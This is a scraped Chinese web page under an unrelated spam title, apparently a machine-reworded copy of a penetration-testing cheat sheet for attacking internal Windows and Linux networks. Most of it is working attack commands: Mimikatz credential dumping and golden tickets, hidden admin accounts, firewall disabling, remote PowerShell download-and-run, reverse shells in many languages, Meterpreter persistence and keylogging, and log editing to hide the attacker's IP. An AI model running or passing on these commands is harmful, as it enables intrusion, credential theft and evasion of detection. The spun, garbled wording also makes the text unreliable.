生日蛋糕图片,童子命,会议纪要-艺术孩童-培养每一位艺术天分,从孩子开始

频道:推荐新闻 日期: 浏览:243

前语

很早就想专门写一篇关于内网的文章,一向没有腾出空来,万万没想到,写下这篇文章的时分,竟然是我来某实验室实习的时刻段:)

信息收集

nmap扫描实时存活的ip

nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips 常用指令ipsping icmp连通性 nslookup www.baidu.com vps-ip dns连通性 dig @vps-ip www.baidu.com curl vps:8080 http连通性 tracert bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >=2008 fuser -nv tcp 80 检查端口pid rdesktop -u username ip linux衔接win长途桌面 (有或许不成功) where file win查找文件是否存在 找途径,Linux下运用指令find -name *.jsp来查找,Windows下,运用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i netstat -apn | grep 8888 kill -9 PID 检查端口并kill query user || qwinsta 检查其时在线用户 net user 检查本机用户 net user /domain 检查域用户 net view & net group "domain computers" /domain 检查其时域核算机列表 第二个查的更多 net view /domain 检查有几个域 net view \\dc 检查dc域内同享文件 net group /domain 检查域里边的组 net group "domain admins" /domain 检查域管 net localgroup administrators /domain /这个也是查域管,是晋级为域控时,本地账户也成为域管 net group "domain controllers" /domain 域控 net time /domain net config workstation 其时登录域 - 核算机名 - 用户名 net use \\域控(如pc.xx.com) password /user:xxx.com\username 适当于这个帐号登录域内主机,可拜访资源 ipconfig systeminfo 检查系统信息 tasklist /svc tasklist /S ip /U domain\username /P /V 检查长途核算机tasklist net localgroup administrators && whoami 检查其时是不是归于办理组 netstat -ano nltest /dclist:xx 检查域控 dsquery whoami /all 检查Mandatory Label uac等级和sid号 net sessoin 检查长途衔接session(需求办理权限) net share 同享目录 cmdkey /l 检查保存登陆凭据 echo %logonserver% 检查登陆域 spn –l administrator spn记载 set 环境变量 dsquery server - 查找目录中的 AD DC/LDS 实例 dsquery user - 查找目录中的用户 dsquery computer 查询一切核算机称号windows 2003 dir /s *.exe 查找指定目录下及子目录下没躲藏文件 arp -a 获取arp表 脚本收集域信息

运用ntdsxtract提取域信息

git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install 运用被进犯主机CMD扫描存活ipfor /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL =" 文件信息收集

ExifTool可读写及处理图画、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等。

exiftool ‐lang zh‐cn ‐a ‐u ‐g1 ./55e736d12f2eb9385716e 513d8628535e4dd6fdc.jpg

Micropoor:”方针财物信息收集的程度,决议浸透进程的杂乱程度。 方针主机信息收集的深度,决议后浸透权限继续把控。 浸透的实质是信息收集,而信息收集整理为后续的情报跟进供给了强壮的确保。”

暗码凭据获取

提取 KRBTGT用户帐户的暗码数据:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit

办理员用户帐户提取暗码数据:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit

发现长途登录暗码等暗码 netpass.exe

获取window vpn暗码:

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

wifi暗码:

netsh wlan show profile 查办wifi名下一条指令用 netsh wlan show profile WiFi-name key=clear

ie署理

reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

pac署理

reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL //引 t0stmail 用户操作

增加user

net user admin1 admin1 /add & net localgroup administrators admin1 /add

假如不答应长途衔接,修正注册表

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

假如系统未装备过长途桌面服务,第一次敞开时还需求增加防火墙规矩,答应3389端口,指令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

封闭防火墙

netsh firewall set opmode mode=disable

增加躲藏账户

敞开sys权限cmd

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'

增加用户并躲藏

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1') 反弹shell和端口转发 Lnuix 反弹shell

Bash

bash -i>& /dev/tcp/192.168.146.129/2333 0>&1 bash -i >& /dev/tcp/192.168.146.129/2333 <&2 exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done nc 192.168.31.174 8080 -t -e /bin/bash

简略解说下

bash -i 翻开一个交互的bash

>&将规范过错输出重定向到规范输出

/dev/tcp/x.x.x.x/port 意为调用socket,树立socket衔接,其间x.x.x.x为要反弹到的主机ip,port为端口

0>&1 规范输入重定向到规范输出,完成你与反弹出来的shell的交互

telnet反弹

进犯者主机上翻开两个终端别离履行监听:

nc -lvvp 4444 nc -lvvp 5555

方针主机中履行:

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

监听两个端口别离用来输入和输出,其间x.x.x.x均为进犯者ip

反弹shell成功后,在监听4444端口的终端中履行指令能够在另一个终端中看到指令履行成果。

另一个版别:

rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

Netcat without -e #1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444 telnet localhost 443 | /bin/sh | telnet localhost 444

XTerm

xterm -display 10.0.0.1:1

JDWP RCE

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime.exec("whoami").getInputStream)).readLine)

Working with Restricted Shells

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java 常见脚本反弹:

1. Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno,0); os.dup2(s.fileno,1); os.dup2(s.fileno,2);p=subprocess.call(["/bin/bash","-i"]);'

2. Perl

办法一:

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

办法二:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3. Ruby

办法一:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

办法二:

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

4. PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

5. Java

public class Revs { /** * @param args * @throws Exception */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime; String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor; } }

6. Lua

lua -e "require('socket');require('os');t=socket.tcp;t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

端口转发

被进犯机 lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389 vps lcx.exe –listen 8888 5555

netsh win自带(只支撑tcp)

netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080

将本地80转到192.168.1.101:8080端口

netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389

经过衔接1.1.1.101的8082端口,适当衔接1.1.1.101可拜访的内网192.168.2.102的3389端口

portfwd是一款强壮的端口转发东西,支撑TCP,UDP,支撑IPV4–IPV6的转化转发。而且 内置于meterpreter。其间exe单版别源码如下:

进犯机履行

portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389 portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80

别离拜访进犯机33389,30080,既等价拜访靶机3389,80

提权小结常用exp:https://github.com/SecWiki/windows-kernel-exploits https://github.com/WindowsExploits/Exploits https://github.com/AusJock/Privilege-Escalation

linux提权辅佐脚本

https://github.com/jondonas/linux-exploit-suggester-2

windows提权辅佐脚本

https://github.com/Ethancck/Windows-Exploit-Suggester Msf相关

linux相关payload:

linux/x86/meterpreter/reverse_tcp linux/x86/meterpreter/bind_tcp linux/x86/shell_bind_tcp linux/x86/shell_reverse_tcp linux/x64/shell/bind_tcp linux/x64/shell/reverse_tcp linux/x64/shell_bind_tcp linux/x64/shell_bind_tcp_random_port linux/x64/shell_reverse_tcp

windows相关payload:

windows/meterpreter/reverse_tcp windows/meterpreter/bind_tcp windows/meterpreter/reverse_hop_http windows/meterpreter/reverse_http windows/meterpreter/reverse_http_proxy_pstore windows/meterpreter/reverse_https windows/meterpreter/reverse_https_proxy windows/shell_reverse_tcp windows/shell_bind_tcp windows/x64/meterpreter/reverse_tcp windows/x64/meterpreter/bind_tcp windows/x64/shell_reverse_tcp windows/x64/shell_bind_tcp

方针服务器为64位用x64监听,反弹meterpreter用含有meterpreter的模块,反弹一般的shell(例如nc),shell_reverse_tcp模块监听

例如msf:

反弹shell msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe 监听 windows/meterpreter/reverse_tcp 反弹shell nc -e cmd.exe ip port 监听 windows/shell_reverse_tcp

meterpreter下上传 upload file 下载 download file

Msf进程注入(win2008 成功)meterpreter > getuid Server username: xxxx meterpreter > getpid Current pid: 3456 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 12000 676 shell.exe x86 2 xxx C:\Users\xxx\Desktop\shell.exe 676 1124 explorer.exe x64 2 xxx C:\Windows\explorer.exe meterpreter > migrate 676 [*] Migrating from 12000 to 676... [*] Migration completed successfully. Msf hashmeterpreter > run hashdump 需求sys权限 导出SAM meterpreter > run post/windows/gather/smart_hashdump 需求sys权限 getsystem存在uac,用msf bypass,但特征显着 meterpreter > search bypassuac msf powerdump load mimikatz 不太好用 Msf的继续后门

Persistence: run persistence -h:用于创立发动项发动,会创立注册表,创立文件。(X86_Linux不支撑此脚本)

run persistence -U -i 10 -p 10390 -r free.ngrok.cc

运用powershell履行也被监控而被360阻拦

meterpreter 的 run getgui -e 指令能够敞开成 功。360会提示阻挠

Run metsvc -h :用于创立服务,会创立meterpreter服务,并上传三个文件,运用-r参数能够卸载服务 ,被拦

Msf powershellmeterpreter > load powershell meterpreter > powershell_shell PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Ps > Invoke-Mimikatz -DumpCreds Msf Router

2个或多个路由之间,没有装备相应的路由表,不能拜访,取得一台机器shell session 增加路由,使msf能够在其时shell session下以被进犯机拜访其他内网主机.

meterpreter > run get_local_subnets [!] Meterpreter s are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Local subnet: 172.17.0.0/255.255.0.0 meterpreter > run autoroute -s 172.17.0.0/16 增加路由 meterpreter > run autoroute -p 检查路由 meterpreter > run autoroute -d -s 172.17.0.0/16 删去 键盘记载

Msf键盘记载在windows不会创立新进程

meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop Payload下载(windows)

自windows7 以上版别内置bitsadmin,它能够在网络不稳定的状况下下载文件,出错会自 动重试,在比较杂乱的网络环境下,有着不错的功能。

bitsadmin /rawreturn /transfer down "[http://vps/hello.php](http://vps/hello.php)" G:\text\hello.php mimikatz 和procdump 取得内存 hash

假如服务器是64位,要把Mimikatz进程迁移到一个64位的程序进程中,才干检查64位系统暗码明文。32位恣意

运转procdump.exe -accepteula -ma lsass.exe lsass.dmp(办理权限)后lsass.dmp放到mimikatz.exe同目录,运转以下指令

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

导出其时 内存 hash,需求免杀过av等

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Windows Server 2012,部分Windows Server 2008默许无法运用mimikatz导出明文口令

黄金收据(保持权限)

域用户sid

whoami /all

krbtgt hash

mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

域管 net group "domain admins" /domain 这儿的是administrator

mimikatz "kerberos::purge""kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi""kerberos::ptt Administrator.kiribi""kerberos::tgt" 痕迹擦除

在浸透中,想要不留痕迹的(当然这是很难的),就要对自己的留下的痕迹进行擦除,这儿以Lniux为例。

Linux痕迹铲除

Apache日志

Apache首要的日志便是access.log``error_log,前者记载了HTTTP的拜访记载,后者记载了服务器的过错日志。这些都能够在httpd.conf中找到。

明文的Apache文件,经过正则表达式就能够搞定:

sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

其间192.168.1.3是咱们的IP,192.168.1.4使咱们假造的IP。在正则表达式中有特别的意义,所以需求用“”来进行转义。

MySQL日志文件

log-error=/var/log/mysql/mysql_error.log #过错日志 log=/var/log/mysql/mysql.log#最好注释掉,会发生很多的日志,包括每一个履行的sql及环境变量的改动等等 log-bin=/var/log/mysql/mysql_bin.log # 用于备份康复,或主从复制.这儿不触及。 log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志 log-error=/var/log/mysql/mysqld.log pid-file=/var/run/mysqld/mysqld.pid

履行下述指令铲除即可

sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log

至于二进制日志文件,需求登录mysql client来修正删去,主张这种操作最早履行。

php日志修正

sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log

Linux日志铲除

这个比较多,记载的也比较杂乱,测验环境是CentOS 6.3。只把和浸透有关的文件列出来,首要在/etc/logrotate.d/syslog中

/var/log/maillog,该日志文件记载了每一个发送到系统或从系统宣布的电子邮件的活动,它能够用来检查用户运用哪个系统发送东西或把数据发送到哪个系统

var/log/messages,该文件的格局是每一行包括日期、主机名、程序名,后边是包括PID或内核标识的方括号,一个冒号和一个空格

/var/log/wtmp,该日志文件永久记载每个用户登录、刊出及系统的发动,停机的事情。该日志文件能够用来检查用户的登录记载,last指令就经过拜访这个文件取得这些信息,并以反序从后向前显现用户的登录记载,last也能依据用户,终端tty或时刻显现相应的记载

/var/run/utmp,该日志文件记载有关其时登录的每个用户的信息,因而这个文件会跟着用户登录和刊出系统而不断改变,它只保存其时联机的用户记载,不会为用户保存永久的记载。系统中需求查询其时用户状况的程序,如who、w、users、finger等就需求拜访这个文件

/var/log/xferlog,该日志文件记载FTP会话,能够显现出用户向FTP服务器或从服务器复制了什么文件。该文件会显现用户复制到服务器上的用来侵略服务器的恶意程序,以及该用户复制了哪些文件供他运用。

bash_history,这是bash终端的指令记载,能够记载1000条最近履行过的指令(详细多少条能够装备),经过这个文件能够剖析此前履行的指令来知道知否有侵略者,每一个用户的home目录里都有这么一个文件

后言

浸透是一门艺术,外练一口气,内练筋骨皮,经常稳固自己的常识系统,才干站在浸透的一线。最后向发扬共享精力的Micropoor问候!贴出大佬的github:

*本文原创作者:cck,本文属FreeBuf原创奖赏方案,未经许可制止转载

热门
最新
推荐
标签